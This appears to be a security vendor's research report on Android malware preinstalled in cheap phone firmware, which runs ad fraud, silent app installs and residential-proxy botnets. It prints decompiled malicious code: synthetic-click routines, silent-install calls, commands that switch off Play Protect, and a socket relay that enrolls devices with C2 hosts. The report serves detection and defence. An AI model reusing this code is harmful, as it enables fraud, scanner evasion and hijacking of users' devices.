Bitdefender's security researchers have identified a malware campaign (dubbed Midnight Mimosa) running on low-cost, multi-brand Android devices built on MediaTek platforms. The malware ships preinstalled in the device firmware, and we found multiple system packages involved, depending on the device. It’s on the phone before the owner switches it on for the first time, and it can’t be uninstalled. The malware runs with system-level privileges that allow it to silently install and remove apps, grant permissions, and load arbitrary code supplied remotely. This essentially means its operators could install and delete apps at will, tuning each device to their needs, including making them part of large botnets. This scheme is likely designed mainly to generate revenue. The operators carry out ad and click fraud, collect device and installed-app information, and turn infected devices into residential-proxy relay nodes, making them zombies in botnets. This creates an additional revenue stream, as access to botnets for DDoS attacks is a hot commodity. The larger the botnet, the more money they can charge. The system app itself doesn’t register the fraudulent impressions and clicks. The revenue engine is driven by the dropped cover apps, including real-looking weather, app-lock, note, and OCR apps, which load genuine ads through a legitimate ad SDK. The goal is simple: to load an invisible window on top of apps that registers ads being shown. This system app - com.android.system.lite - was the first one identified, but it turned out to be the tip of the iceberg. As the investigation continued, we identified the same malware core shipping under a rotating set of system-sounding names, including com.android.sys.prot, com.android.sys.gmsprot and com.android.sys.bcprot. Each is a different build; some carry different signing certificates, and even different names. The package name is not the threat. The shared core underneath it is. To top it off, we also discovered 13 apps currently present on Google Play that communicate with the same servers that control the malware. While these apps don’t have the rights that would allow them to be as malicious as the preinstalled packages, they are dangerous nonetheless. Key findings * The core of the infection chain is a platform-signed, persistent system application found pre-installed on affected Android devices. * The enabler silently deploys a rotating family of at least 32 unique disguised apps, including fake AppLock, weather, file-manager, icon-tool, OCR, and audio-editors. * It grants itself dangerous permissions such as Accessibility, Notification Access and SMS read/write - we noticed neither of these to be used in practice, but they're available to the operator on demand (arbitrary remote code loading). Our insights also show that Accessibility and Notification Access are automatically and repeatedly granted and ungranted after a short while. * The malware disables the Google Play Store app just before installing a payload app (probably attempting to avoid a potential Play Protect detection). After the payload runs, the Google Play Store app is re-enabled. There's also a safety net that re-enables the app when the user is present, to avoid triggering suspicions. * Payloads perform hidden ad fraud and automated click fraud or turn the device just another part of large botnets. * The system app and payload family use shared infrastructure, including a command-and-control service disguised as a weather API. * The enabler is not a single package. The same core ships under several system-sounding names across different builds and signing certificates. * The same ad-fraud code was also found in thirteen applications published on Google Play, under at least two developer accounts and thirteen separate signing certificates. The investigation began with App Anomaly Detection, a technology in Bitdefender Mobile Security, which flagged com.android.system.lite: a package carrying the name and appearance of a core system component while behaving like nothing of the sort. Most mobile security still runs on a single assumption: scan an app, and if it's deemed clean, it's safe. Bitdefender's App Anomaly Detection (introduced in 2023) exists because, in practice, the theory often doesn’t hold up. Apps can sit dormant and turn hostile weeks later, sometimes only if certain conditions are met (targeted malware). Such apps can pass every static check, only to later pull their real payload from a server or cleverly unpack it from native code. App Anomaly Detection closes this gap by watching what apps do, continuously, on the device itself - combining on-device machine learning, real-time behavioral analysis, and a range of other signals. It doesn't rely on whether an app looked clean yesterday; it reacts to the behavior itself, catching apps red-handed the moment they cross the line from benign to malicious. That real-time behavioral analysis made all the difference. The application was preinstalled as a system app (platform-signed). It’s impossible to uninstall; there’s no store review, and it’s not the user’s choice. Every user-facing defense had already been bypassed by the time the phone was switched on. Behavior was the only thing left to catch it by. From there, Bitdefender's insights showed what it had been doing. The system app was silently installing and removing a rotating set of payloads on the same devices, among them com.mobile.applock.wt, an app presenting itself as an App Lock tool, while missing the functionality its name suggested. There’s no interface or code that would let it work as the name suggests, and it was completely hidden from the user. This was, in fact, a highly obfuscated Dropper malware in its own right - but it was not the root cause of the infection. That is exactly how this investigation began. On paper, nothing about com.android.system.lite invited a careful second look: a platform-signed component disguised as part of the operating system, with no icon and no visible behavior, its actual machinery buried in a native library that only came to life at runtime. App Anomaly Detection flagged com.android.system.lite because while it posed as a core Android component, it didn’t behave like one. It repeatedly enabled sensitive access, including Accessibility and Notification Access, and silently installed and removed unrelated applications. By following these highly suggestive crumbs, the researchers discovered the malware’s source: a persistent, pre-installed system app that could not be removed by the user. The supposedly system component was actually managing a rotating portfolio of hidden payloads, including fake AppLock apps used for ad fraud and for enrolling devices into a residential-proxy botnet. The same source was installing a wider cluster of payloads, including com.mobile.applock.en, com.dmstudio.weather, com.dl.guard.lock, appicon.diy.tools.prop and picturetranslate.extractor.text.lite. Our insights reveal these payload applications being installed and removed repeatedly on the same devices. This churn helps the operation reduce the length of time a payload remains visible in the app list, rotate hashes, and change the active monetization module, while the underlying system component stays in place. Beyond generating revenue for operators, the devices can be turned into residential-proxy relay nodes, essentially becoming part of botnets and potentially helping launch DDoS attacks when called upon. The payloads themselves are not new, and this method of shipping malware has been detailed in the past, but this specific campaign — the com.android.system.lite enabler found on devices with firmware signed using certificates attributed to Shenzhen Zediel, delivering malicious apps, some of which are similar to those from Dr.Web’s Android.Phantom operator’s family, now with residential proxyware added. We can only confirm that certificates bearing the name Shenzhen Zediel were used to sign firmware on affected devices. However, how these certificates ended up on those phones — and whether the certificate owner was involved in or aware of the malware deployment — remains unclear. Furthermore, this is not the only company name that appeared in our investigation. The malware ships with the device. What remains unclear is at which point in the supply chain it is integrated. It could be introduced by an ODM, a firmware integrator, a logistics partner, or another actor further down the distribution chain. The malware arrives in the ROM before the phone is sold, but identifying the specific party responsible for its inclusion requires information beyond the scope of this technical analysis. And this is not the only way this malware gets onto people’s devices. There are countless other phones, as we’ll show in this research, that don’t have Zediel-signed firmware and still ship with the same malware. The internet is flooded with extremely cheap, and sometimes straight-up counterfeit, Android phones. One way to make the money back on hardware sold that cheaply is to load it with software that earns afterwards. Counterfeit flagship devices are offered on a mainstream marketplace. Model names of this kind, such as S24 Ultra, S25 Ultra, S26 Ultra, appear in our insights as the model strings reported by low-cost MediaTek hardware. Technical analysis Since the core apps are very similar, we’ll detail only one of the malicious system apps we found and reveal how the ecosystem works. The culprit, com.android.system.lite, is a pre-installed Android system application. It is not a normal app: and it ships signed for the platform, runs as the system user, and has the rights to install and remove packages and grant permissions to other apps without any user interaction. These powers aren't implemented in its own APK code as they are hidden inside a native library (libeasy.so), which, at load time, RC4-decrypts and drops an obfuscated Java framework into the system-uid process. That framework fetches a remote configuration from a C2 (command & control server), then downloads and loads stage-2 and stage-3 DEX plugins that carry the actual monetization payloads: * In-process ad fraud: fabricated ad impressions/clicks (the “wz” plugin). * Silent install/uninstall of partner apps as system-uid (“earn” / “gogo.third” plugins), with silent permission grants. * The partner apps it drops are themselves known droppers: a TCP proxyware/botnet (applock.en) and an ad-fraud+RCE dropper (applock.wt). Insights confirm that one enabler silently installs a rotating portfolio of these partner apps onto real devices. The enabler is the on-device root of the whole scheme. The system app (enabler) The enabler app is a core, persistent, platform-signed system component that declares a set of privileged permissions. This is the foundation for everything that follows — only a platform-signed system-uid app can hold these permissions: package: com.android.system.lite versionCode=900000 label="System" uses-permission: android.permission.INSTALL_PACKAGES uses-permission: android.permission.DELETE_PACKAGES uses-permission: android.permission.GRANT_RUNTIME_PERMISSIONS uses-permission: android.permission.WRITE_SECURE_SETTINGS uses-permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMS AndroidManifest.xml of the enabler (aapt2 dump). sharedUserId=android.uid.system + coreApp + persistent = firmware system component; the privileged permissions are what enable silent install/uninstall and silent permission granting. The app label is the generic “System” and the icon is hidden. It’s invisible in the launcher and indistinguishable from a legitimate OS component. Its own APK dex (com.gogo.bb.sdk / Monitor* services) is only a thin host shell; the dangerous logic lives in the bundled native library. Capability beyond what was observed The manifest also requests access that has nothing to do with installing applications. Alongside the install and grant permissions, the enabler declares Accessibility Service, Notification Access, and SMS permissions. Even more interesting is that it enables the Accessibility and Notification Access services itself rather than prompting the owner to do so. We didn’t see either used during the analysis. That’s worth noting, but it’s also worth not dismissing. An Accessibility Service can read the content of every screen, observe what is typed, and act on the interface on the owner's behalf. It is the standard mechanism behind Android banking trojans and remote-control fraud. Notification Access allows reading any notification, including those from chat apps. SMS access allows one-time codes to be read and messages to be sent to premium numbers. These permissions are held by a component that cannot be uninstalled and already loads code from a remote server whose operator lineage includes premium-SMS subscription fraud. The capability is present, self-enabled and remotely armable. What is done with it is a decision the operator makes at the C2, not a property of the samples we analyzed. Native core libeasy.so drops a hidden framework libeasy.so registers a single JNI method (nativeInit) whose real body is hidden behind a branch trampoline. At initialization, it caches Java crypto handles, then RC4-decrypts a 142 KB APK embedded in the library and writes it to disk. The dropped APK is the privileged framework. JNI_OnLoad: FindClass("org/b/c/lib/MainLib"); RegisterNatives(off_69000, 1) JNINativeMethod { name="nativeInit", signature="()I", fnPtr=0xF764 } 0xF764 nativeInit (registered ptr) -> b 0x115AC ; trampoline 0x115AC real nativeInit body -> "rz.init.done." + "20240425" 0x10910 init worker (guard @0x697F8, returns -101 if already init) 0x10940 crypto bootstrap (caches Cipher / SecretKeySpec / Base64 / String) 0x107C4 blob dropper -> RC4-decrypt blob@0x3949E (len 0x22D60) -> write APK RC4 key = last 16 bytes of the blob; native string key = "rc4@sec[.]com" libeasy.so load chain (IDA offsets; ET_DYN, imagebase 0 so file offset = vaddr). The family build tag 20240425 is assembled in nativeInit. The dropped APK is cn.kw.lib.hex (215 classes), a string-obfuscated framework. Its strings are AES-128-CFB encrypted: g.b(x) = base64-decode(x) -> AES/CFB/NoPadding decrypt key = MD5("aGV4QCFRQFcjRQ==") (= "hex@!Q@W#E") IV = "0102030405060708" String cipher of the embedded framework. Same construction as the enabler’s own string cipher (key “dHhAZXhAc2Vy”) — a shared-code tie. The two privileged primitives (grant + RCE) The dropped framework implements the two advertised powers that are absent from the APK dex: Grant any permission to any package: // hex.c.b.a(ctx, pkg, perm) — reflected privileged grant PackageManager.grantRuntimePermission(pkg, perm, UserHandle) // + getUserHandleForUid // enumerates third-party targets and verifies the grant: pm list package -3 ; checkPermission(perm, pkg) Grant primitive (decoded strings of the embedded dex: “grantRuntimePermission pkg:”, “pm list package -3”). Fully parameterized by target ⇒ it can grant to any foreign package, not just itself. Remote DEX/JAR update = remote code execution: cn.kw.lib.dx.DxFactory via dalvik.system.DexClassLoader downloads/updates kwlib.jar (+ kwlib.next), md5-checked, version-gated (isNeedUdx, lst_udx_tim) endpoints come from remote config (getNavigation), not hardcoded. RCE loader. Endpoints are supplied by the C2 config at runtime. Stage-2 / stage-3 plugins and the on-device plugin store The framework pulls a stage-2 host (kwlib.jar → cn.kw.lib.dx.DxFactory) which then loads three stage-3 plugins. Each plugin is cached under files/plg// as magic.o (a JAR disguised with a .o extension) plus a descriptor: files/plg//magic.o <- PK\x03\x04 (a ZIP/JAR, not a .o) files/plg//magic.o[.]info: 20311###magic###com.wz.sdk.DxFactory###magic###0bed0405...(md5 of jar) ###magic###1782294f...(iconDesc)###magic###^(wtd|com.wz.sdk|com.ads.cal|com.android.gem|...).+ A plugin descriptor. The version + iconDesc values match exactly what the C2 returned in getConfigs — the plugin store is C2-provisioned. Plugin (entry class) Version Role com.wz.sdk.DxFactory 20311 In-process ad fraud, including fake clicks and impressions com.earnsdk.lib.DxFactory 5 Silent installation and removal of partner apps (PPI) com.gogo.third.lib.DxFactory 10014 Silent installer with WebView functionality The ad-fraud scheme (com.wz.sdk) The wz plugin renders ads where the owner has not asked for them. It uses two surfaces: full-screen activities, launched without the user having opened anything, and overlay windows drawn on top of whatever is already on screen. Rendering is triggered by screen-state changes, such as the display coming on, or by commands pushed across the ad mesh while the device sits idle. The ad surface is also marked as secure, so it doesn’t appear in screenshots or screen recordings. That flag exists to protect sensitive content, such as banking screens, from being captured. Here it’s used in reverse: to make the fraudulent ad surface hard for the owner, or for anyone analyzing the device, to record. The fraud itself is parameterized by a remote config whose Kotlin field names are cleartext: class RemoteConfig { // com.ads.cal.core.RemoteConfig (@Metadata field names) int silentPercent; // % of ads to ‘click’ with NO user touch int notClickPercent; // % of impressions to auto-convert int notClickInterval; // min ms between fabricated clicks int notClickTopRate, notClickBottomRate, notClickLeftRate, notClickRightRate; // fake touch placement int livePercent, weight, priority; String mediaPkgName, adspotId; } The fraud ‘knobs’. silentPercent / notClickPercent are the probabilities of registering a click with no real tap; notClick*Rate bias is where on the creative the synthetic touch lands to look human. Programmatic (synthetic) click — no user involved: // wtd/p/n0.java:192 — code-driven click fired from a Runnable public void onClick(View view) { b.this.h.performClick(); } Random target + daily cap + interval throttle (paces the fake traffic to look organic): // wtd/f/s.java r(Context) int nextInt = random.nextInt(f.size()); // random ad target from C2 list int l = e.l(); int d = e.d(); // today’s fabricated count / daily cap if (l >= d) { B(3); return; } // cap reached -> stop if (elapsedRealtime - this.h < e.c()) return; // interval not elapsed -> skip w.post(this.i); // fire the interaction runnable Tap → silent deep-link launch of the promoted app: // wtd/f/s.java t(MotionEvent) — an incidental tap becomes a click on the advertiser app Intent intent = new Intent(); intent.putExtra("from", this.e.e()); // adspot id intent.setPackage(this.g); // the promoted package intent.addFlags(268435456); wtd.e.h.g.startActivity(intent); // silently launches the target Time-based automatic ‘conversion’ report with a silent flag (60 s after show, no interaction): // wtd/f/e.java if (nVar2.p().get() == p.b && elapsedRealtime - nVar2.h().get() >= 60000) { f Q = Q(str, longValue, EnumC0017e.b, h0Var, false, z.v(str)); k0.l.s(a2, Q); // upload the (fabricated) interaction event } // wtd/f/c.java:251 — the upload carries an explicit ‘silent’ boolean wtd.m.c.F(iVar.i(), iVar.d(), nVar.t(), nVar.p() /*silent*/, s1, s2, s3); The full fabrication path: render ad → performClick()/startActivity to fake clicks → auto-report ‘conversions’ after a 60 s timer with silent=true → throttle via silentPercent/notClickPercent/daily-cap. All events go to DotReporter → weatherlive.world/odborwer_dot/cm. Who gets billed Fabricated clicks only earn money if an ad network attributes them to somebody, and attribution follows the ad SDK. The network credits an impression and a click to the application hosting its SDK and its ad unit identifiers. A hidden system component carrying no ad SDK would produce traffic that attributes to nothing and pays nobody. That’s why the scheme needs the cover apps. The weather, app-lock, note and OCR applications the enabler installs are ordinary-looking apps carrying a legitimate ad SDK, and they are what the ad network sees. This is consistent with the wz plugin running inside the system process: the plugin supplies the logic, the timing and the synthetic interaction, while the ad unit, and therefore the payment, belongs to the cover app. The two are bound peers in an ad mesh. Each cover app exports MyDataService under the action com.media.am.intent.action.BIND_SERVICE, a controller binds them and pushes ad payloads and commands across the mesh (initMediaApp, setAdData, transferData), and all of them report the same device identifier to the same weatherlive C2. One application can therefore drive impressions and clicks that another application renders and is paid for. The division of labor across the scheme: * System enabler: silently installs and removes the partner apps, grants them permissions, and blinds Play Protect around each install. Hosts no ad units and is billed for nothing. * Native core and hidden framework: decrypt and load the privileged framework, and provide the permission-grant primitive and the remote code update channel. * Stage-2 and stage-3 plugins: C2-provisioned modules that run the fraud logic in process and perform the silent installs * Dropped cover apps: the revenue engine, and the only part of the scheme an ad network ever sees. * No-icon droppers: separate monetization tracks, proxyware and a second ad-fraud module. * C2: module control, fraud configuration, and collection of the fabricated events. Silent install and permission laundering The earn/gogo plugins silently install partner apps. The decision entrypoint and the install routine are the malware’s own code; it runs because the host holds INSTALL_PACKAGES as system-uid: // earndex.e.f.d(ctx, assets, pkg, version, str2) -> new com.earnsdk.lib.a(...).h() // com.earnsdk.lib.a.h(): if needInstall -> AppInstallHelper.c(ctx, assetManager, "mediaapp-release.apk", pkg, str3); // AppInstallHelper.c -> earndex.h.c.a() copies the bundled APK out of assets -> earndex.h.f.g(): // earndex.h.c.l(context, pkg, path): PackageInstaller session (silent on system-uid) SessionParams sp = new SessionParams(MODE_FULL_INSTALL); int sid = pi.createSession(sp); Session s = pi.openSession(sid); s.openWrite(...); s.commit(intentSender); // no user prompt Silent-install path (com.earnsdk.lib.AppInstallHelper + earndex.h.c/f). Legacy installPackage(Uri,…) reflection is also present for older Android; on Android 13 the PackageInstaller session path is operative. Because the host process holds INSTALL_PACKAGES as the system user, the createSession → openWrite → commit sequence completes with no PackageInstaller confirmation UI, and the enabler is recorded as the installing package. No user interaction is required at any point of the install. Permission laundering: because the enabler installs the app, it can also silently grant it permissions a normal store app can never hold. The dropped weather cover app declares and actively uses WRITE_SECURE_SETTINGS — a signature (privileged) development permission: // com.dmstudio.weather q6/c.java:17 (uses a permission a store app cannot obtain) Settings.Global.putString(cr, "vdgtjy", {"data":,"time":}); // grantable only because a GRANT_RUNTIME_PERMISSIONS holder granted it (development-flag perm): // enabler/plugins: grantRuntimePermission pkg: ... authorize, grantRuntimePermissionFor6X The weather app's working WRITE_SECURE_SETTINGS write indicates it received a privileged grant it could never obtain from a normal install, which is consistent with the system-uid enabler granting it. The same package is also published on Google Play, in a build that holds no such grant. The privilege comes from how the application arrived on the device, not from the application itself. Interaction with the system app: the dropped cover apps are bound peers in an ad mesh. They export MyDataService (action com.media.am.intent.action.BIND_SERVICE); a controller binds them and pushes ad commands (initMediaApp/setAdData/transferData) and they share the same uuid and weatherlive C2. Play Protect evasion (disable → install → re-enable) Beyond suppressing the install prompt, the plugins blind Google Play Protect for the duration of the install. Using the host’s system-uid shell access, they run ‘pm disable com.android.vending’ (the Play Store, which hosts Play Protect’s on-device scanner) immediately before installing the partner APK, then ‘pm enable com.android.vending’ in both the success and failure install callbacks The malicious install happens in a window where Google’s scanner is switched off. All three plugins implement it identically (obfuscated strings decrypt to the commands shown): // com.earnsdk.lib.AppInstallHelper.c() (also com.gogo.third / com.wz.sdk) earndex.e.a.a(context, "com.android.vending"); // -> pm disable com.android.vending (before install) f.g(context, pkg, apkPath); // silent PackageInstaller session // install observer: onSuccess -> earndex.e.a.b("com.android.vending"); // -> pm enable com.android.vending onFailure -> earndex.e.a.b("com.android.vending"); // -> pm enable com.android.vending // earndex.e.a (bldex.e.a / com.ads.cal.core in the other plugins) a(ctx,p): f.e({ "pm disable " + p }); // ProcessBuilder b(p): f.e({ "pm enable " + p }); // ProcessBuilder Play Protect evasion, confirmed across all three plugins (earn: earndex/e/a.java; gogo: bldex/e/a.java; wz: com/ads/cal/core/kt/ContextKtKt + GEMController). The obfuscated tokens decrypt to ‘pm disable ’, ‘pm enable ’ and ‘com.android.vending’. This is distinct from the silent install itself: the silent install removes the user prompt; disabling com.android.vending removes real-time detection. Forged Play provenance – spoofed installer, absent frosting Disabling the scanner conceals the install while it happens. A second technique conceals it afterwards, by rewriting where the app claims to have come from. A privileged installer holding INSTALL_PACKAGES sets the recorded installer package itself, through PackageInstaller.SessionParams. The platform does not validate the value; it is whatever the installing process declares. On part of the corpus it is set to com.android.vending, so the device reports the app as sourced from Google Play. The claim is falsifiable. Apps actually distributed through Google Play carry a Play-applied signature block called frosting, that is added server-side by Google as proof the APK passed through Play, and it cannot be produced off-platform. Where the installer field says com.android.vending but no frosting block is present, the provenance is fabricated rather than earned: MD5 Package Installer recorded Play frosting 0903d7fd3e1d4a599a7eb3c5d356779b com.android.weiapps com.android.vending Absent 61aac6a98abd6dcff0dc41bb88159786 com.android.sys.dts com.android.vending Absent 250205ee4b8de59e60c745856f439608 com.android.non.szcz com.android.vending Absent Samples recording Google Play as their install source while carrying no Play signature block. All three are enabler-family builds, not dropped payloads. This inverts the usual triage shortcut. Suppressing the install prompt removes the user, disabling com.android.vending removes the automated scanner, spoofing the installer name removes the forensic trail that would show either happened. In this campaign, the installer field can’t be used on its own to attribute a sample or to clear one, frosting presence or absence is the reliable check. Delivery model and field insights The partner APK is not fetched separately at install time. It’s actually bundled inside the stage-3 plugin as assets/mediaapp-release.apk. The C2 controls which APK is delivered by controlling which plugin version it serves (getConfigs version → plugin pulled from CDN oss.showtimetool[.]com). The two partner APKs found bundled are byte-identical to known standalone dropper samples: Plugin Bundled mediaapp-release.apk MD5 Known sample com.earnsdk.lib com.mobile.applock.en v6 (“Locket”) 08d231c6a5303e543eb60d4181f6a4ea Proxyware / EnLoaderLib com.gogo.third.lib com.mobile.applock.wt v17 (“Locket”) 4a171f62d1bab01827b06ae73d4caafa Ad fraud + RCE Field insights confirm the enabler is the installing package for the whole portfolio on real devices — both the no-icon droppers and the functional cover apps: Installed package MD5 Devices com.mobile.applock.en 08d231c6a5303e543eb60d4181f6a4ea 199 com.mobile.applock.wt 4a171f62d1bab01827b06ae73d4caafa 199 picturetranslate.extractor.text.lite e250e5966c119a9098f7818fc6c080e5 182 appicon.diy.tools.prop 3b20edff1125e146aa3d5153708b58f4 139 com.dl.guard.lock 6739fe083cfa8dec9b4f989ccba0e99e 120 com.dmstudio.weather 542ab80429ec42e8643dc645f58b716c 97 com.audify.editor.pro 145b806282d247441751bb4957b71606 2 com.mb.applock.a02 ee70ec99121f4d7c8b5a883e5ab3a858 1 com.solide.filemanager.lte 92390cacdd20d2ee5405093669e7302c 1 Packages recorded as installed by com.android.system.lite. Both the no-icon droppers and the functional cover apps are installed by the enabler; multiple distinct APK versions per package reflect C2 version rotation of the bundled payload. Campaign scale The table above counts a single studied enabler's installed portfolio. Measured across the family as a whole, over a roughly two-year window, the campaign was observed on thousands of unique devices across more than 150 countries. The geographic distribution is led by Mexico, France and Italy, followed by the United States, Germany, Brazil and Spain. Below the top, there’s a long tail across Africa, Southeast Asia and the Middle East. The chart has two features of that spread that are worth highlighting. No single country is dominant, and the weight sits in two separate regional centers of gravity—Western Europe and the Americas—rather than one. Neither is what a regional distribution channel looks like; a carrier or a national retailer produces one dominant market. Two centers with a long tail behind them is what hardware moving through international online marketplaces looks like. We also have some details on the types of devices that carry this malware. Many devices are identified simply by the firmware they use and are likely cheap devices or clones of better-known ones. As we mentioned earlier, Zediel-signed firmware is not the only way malware is shipped. The operators use many other devices, most of them likely visual clones of real phones, to embed the same malware. Beyond the generic user agent strings, many of the affected models are counterfeit devices that borrow flagship names they have nothing to do with. Fake iPhones include: "i17 Pro Max", "i16_Pro_Max", or "17_Pro_Max", and an "iPadAirPro" for the tablet line. Samsung's Galaxy is copied just as freely, with free-text "S25 Ultra", "S24 Ultra", or "Note 18 Ultra" strings that a genuine unit would never report; the campaign even spoofs the real codes, so "SM-S938B", a legitimate-looking user agent string for the Galaxy S25 Ultra, appears on devices that aren't Samsung. Honor's Magic 15 MAX and a crop of no-name "Ultra" handsets round out the pattern. The same firmware ships under whatever prestige name sells a cheap phone, which is why the model column is a spoofing indicator, not a real device inventory. The two highest-volume models, by contrast, are genuine, named brands: "S200 X" is associated with Doogee and "KINGKONG X" is associated with Cubot. These brand names also appeared in a publicly reported firmware-update incident documented on the XDA forum, which may indicate a broader pattern in certain segments of the supply chain. The public report can be found on XDA forum in which owners traced a hidden com.android.sys.* package that reappeared under a new name after removal, the same self-updating behavior seen in this family. Proxyware botnet (com.mobile.applock.en) The partner app bundled in the earn plugin (com.mobile.applock.en, label “Locket”, a no-icon fake app-lock) is a single-purpose TCP back-connect proxy. It enrolls the device as a remotely controlled relay node. It declares only INTERNET and ACCESS_NETWORK_STATE and contains no ads, no UI, and no dynamic code loading. The loader identifies itself as “EnLoaderLib” v1.0.6. Four code sites implement the full node lifecycle: enroll, command, tunnel, relay. Enroll: each device registers with the C2 as a node: // h/i.java String uuid = new h(i.this.m).a().toString(); // per-device UUID jSONObject.put("os", "android"); jSONObject.put("uuid", this.l); // node id jSONObject.put("is", this.f192e); // product/campaign id jSONObject.put("v", "v1.0.6"); // EnLoaderLib version jSONObject.put("inf", a2); // device fingerprint // h/g.java — the fingerprint reported: Build.MODEL +"#*#"+ Build.VERSION.RELEASE +"#*#"+ Build.VERSION.SDK_INT +"#*#"+ Build.ID +"#*#"+ Build.BRAND; Command channel: a raw TCP socket to the control host (not HTTP): // h/k.java Socket socket = new Socket(); socket.connect(new InetSocketAddress(split[0], Integer.parseInt(split[1])), 40000); // control host built in h/i.java: String.format("%s.%s.%s:6000", productId, "apple", domainPool[nextInt]); // raw TCP :6000 domainPool = {"0aa0cf0637d66c0d[.]com","aa86a52a98162b7d[.]com","442fe7151fb1e9b5[.]com","v46wd6uramzkmeeo[.]in"}; Command loop: the C2 pushes a list of targets and the device opens a tunnel to each and re-polls on a schedule: // h/i.java JSONObject o = new JSONObject(str); JSONArray s = o.getJSONArray("s"); // "s" = array of "host,port" targets for (int i = 0; i < s.length(); i++) { String[] split = ((String) s.get(i)).split(","); // "host,port" i.this.t(split[0], split[1], optInt3, optInt2, optString); // spawn a tunnel per target } int t = o.optInt("t", 0); if (t > 0) f191d.scheduleAtFixedRate(new a(), t, t, TimeUnit.MINUTES); // periodic re-poll Relay pump: bytes are piped verbatim between the C2 side and the target (the proxy exit): // h/m.java — d.run() opens two sockets and wires both directions: socket.connect(new InetSocketAddress(nVar.f231c, nVar.f232d), 5000); // C2 / relay coordinator socket2.connect(mVar.f(str, str2, i), 5000); // the target host:port execute(new a(socket, socket2)); execute(new b(socket2, socket)); // full-duplex relay public final void m(Socket socket, Socket socket2) { // the byte pump h.d b2 = l.b(l.g(socket)); // source h.c a2 = l.a(l.d(socket2)); // sink while (!b2.e()) { long d2 = b2.d(bVar, 8192L); // read up to 8KB from one socket if (d2 > 0) { a2.b(bVar, d2); a2.flush(); } // write straight to the other } } Enroll → command → tunnel → relay (h/i, h/k, h/m, h/g). A central controller, enrolled nodes keyed by UUID/product id, remotely-supplied host:port targets, and a bidirectional byte relay: the victim’s connectivity is monetised as a residential-proxy exit node, and can reach arbitrary hosts including the local network. Dynamic verification confirms the control infrastructure is live. On execution, the client resolves a control host via wildcard DNS and completes a TCP connection to it on port 6000, transmitting the registration record; the control host rotates across the four domains on successive attempts: control host : OeawmFEDPClEAiH9.apple.0aa0cf0637d66c0d[.]com:6000 -> 85.17.70.38:6000 registration : {"os":"android","uuid":"","is":"OeawmFEDPClEAiH9","v":"v1.0.6", "inf":"","n":"t"} response : (empty — no relay targets returned to a freshly-enrolled node) rotation : next attempt -> OeawmFEDPClEAiH9.apple.442fe7151fb1e9b5[.]com:6000 The control server 85.17.70.38:6000 (reached through the wildcard-DNS domains) is live and accepts node enrolment. A freshly-enrolled node received no relay targets in this observation; no traffic was relayed. Erratum: A second look at this IP revealed that it was in fact a sinkhole and not a C2 server. Investigating the C2 servers for the payloads is outside the scope of this investigation since the payloads themselves are not new, only the delivery mechanism merits attention. The second bundled partner (com.mobile.applock.wt) is the same no-icon fake app-lock shell with a different payload: an ad-fraud module (com.ctr.cbd) that reflectively loads remote DEX ad modules. The enabler therefore delivers both a proxyware and an ad-fraud dropper, selected by which plugin the C2 serves. C2 infrastructure Two HTTPS channels to api.weatherlive.world, both AES-encrypted with HmacMD5-signed requests. The command channel (getConfigs) decrypts to a device-fingerprint request and a module-control response: POST https://api.weatherlive[.]world/br_upgrade/upgradeV2/getConfigs headers: App-Id: 20240425 | api-id | nonce | timestamp | signature(HmacMD5) device SENDS (AES/ECB/PKCS5, decrypted): {"imei":..,"androidId":..,"mac":..,"simCode":"CN","channelId":"20240425","timezone":..} C2 RETURNS (AES/CBC/PKCS5, decrypted) — remote module control plane: {"list":[{"sdkName":"wz","status":1,"updateStatus":1,"version":20311}, {"sdkName":"earn",...,"version":5}, {"sdkName":"bl",...,"version":10014}]} per-module: {"size":"20311","iconDesc":"1782294f...","warningIcon":"https://oss.showtimetool[.]com/...png"} The getConfigs control channel dictates which plugins run, at which version, and where to fetch them (warningIcon URL, keyed by iconDesc md5). The telemetry beacon /odborwer_dot/cm returns only a fixed ack {"a":0}. Module download URLs (from decrypted config; served as .png on the CDN): * wz (v20311) hxxps://oss[.]showtimetool[.]com/ssc/2026/08-13/[REDACTED].png * kwlib (v100007) hxxps://oss[.]showtimetool[.]com/ssc/2026/07-04/[REDACTED].png * gogo (v10014) hxxps://oss[.]showtimetool[.]com/ssc/2026/03-09/[REDACTED].png * earn (v5) hxxps://oss[.]showtimetool[.]com/ssc/2025/12-07/[REDACTED].png Related samples — the enabler is a multi-name family A manifest-similarity query surfaced other fake-system applications. Because AOSP-disguised apps share manifest structure, candidates were confirmed by hard family markers rather than manifest score: presence of the native core (libeasy.so, or a renamed variant), the RC4-dropped framework namespace cn.kw.lib, the C2 api.weatherlive.world, the Accessibility hook, and the distinctive versionCode 900000+ scheme. The enabler is not a single package: the same core ships under several ‘system’ names. Sample (MD5) Package (versionCode) Confirming markers Verdict b862681953e945439167a736ba4cd41b com.android.system.lite (900000) libeasy.so, api.weatherlive.world, MonitorAccessibility Same family — sibling build of this enabler, using a different signing certificate d4ceb05682ecd60f4ebb4e76e02fcf7d com.android.sys.prot (900014) cn.kw.lib, api.weatherlive.world, MonitorAccessibility; native core renamed to libunionprt.so Same family — variant enabler 2b784622422f4280e0b3e38b30dd87bc com.android.sys.gmsprot (100000) libeasy.so, cn.kw.lib, api.weatherlive.world Same family — variant enabler Confirmed by binary analysis. The com.android.system.lite / com.android.sys.* cluster (versionCode 900000+, ‘system’/‘sys’ naming) is one enabler family sharing the libeasy / cn.kw.lib core and the weatherlive C2. Why Shenzhen Zediel Co., Ltd. The enabler com.android.system.lite is signed with platform-key cert 0105bc4c… (DN CN=ZED, O=ZED, L=ShenZhen, C=CN, ZED@Zediel.com). This maps to a real Shenzhen Android OEM/tablet maker, Shenzhen Zediel Co., Ltd., which holds an IEEE MAC allocation: MAC OUI A0:53:94 (MA-L block, registered 2021-11-03) → device-level IOC. Any device whose Wi‑Fi MAC starts with A0:53:94 is a Zediel build — usable to hunt all affected devices in telemetry regardless of installed payloads, and to estimate true fleet size. The device models seen in telemetry corroborate this independently. The model strings reported by affected devices point overwhelmingly to low-cost, white-label handsets, in two distinct patterns. The first is region-coded firmware strings, where the _EEA and _US suffixes are the regional build markers typical of no-name ODM devices, alongside raw board support package names. A board name surfacing as the product model is not something a user-installed app produces. It appears when the component ships inside the vendor firmware image. The second is counterfeit flagship naming. Unbranded devices report themselves in imitation of Samsung flagships, alongside genuine budget rugged brands, two of which resolve to real vendors. Pattern Model strings observed Region-coded ODM firmware builds J10_EEA, A9_EEA, T13_EEA, Q6_EEA Board support package names k62v1_64_bsp (MediaTek MT6762) Counterfeit flagship naming S25 Ultra, S24 Ultra, S26 Ultra Budget rugged brands S200 X (Doogee), KINGKONG X 